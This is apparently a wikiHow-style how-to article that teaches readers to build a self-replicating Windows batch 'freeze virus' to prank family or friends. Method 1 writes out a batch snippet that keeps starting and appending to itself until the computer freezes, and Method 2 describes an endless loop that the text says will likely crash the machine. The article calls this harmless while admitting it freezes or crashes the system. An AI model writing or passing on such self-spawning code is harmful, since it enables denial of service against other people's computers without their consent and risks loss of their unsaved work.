How to Create a Harmless Freeze Virus

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Sometimes, you might be thinking of making your own prank for others, but your family/friends are technological. This article will teach how to make a self-replicating, harmless virus, that freezes your computer as a prank.

Method 1
Method 1 of 2:

Echo Window Prank

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    You can also open any other word processor.
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    It should be "@echo off".
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    • cd %homedrive%/users/%username%/
    • (
    • echo start s.bat
    • )>>s.bat
    • start s.bat
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    Save the file. Remember to add the ".bat" extension to the end of the file name.
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    It will open many pointless windows, but it will freeze the computer.
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    It will return to normal.
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Method 2
Method 2 of 2:

Endless Loop Prank

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    bat.
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    It will most likely crash your computer as it continues to spam the help window.
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    Stop the virus. You must tap X to do so.
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    No, this will not harm your computer in any way. This will only freeze or lag your computer, but after rebooting, it will be completely fine.
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    Right click on the taskbar and go to Task Manager. Select the program and click on "end task". This will fix the problem. If it doesn't, restart your system.
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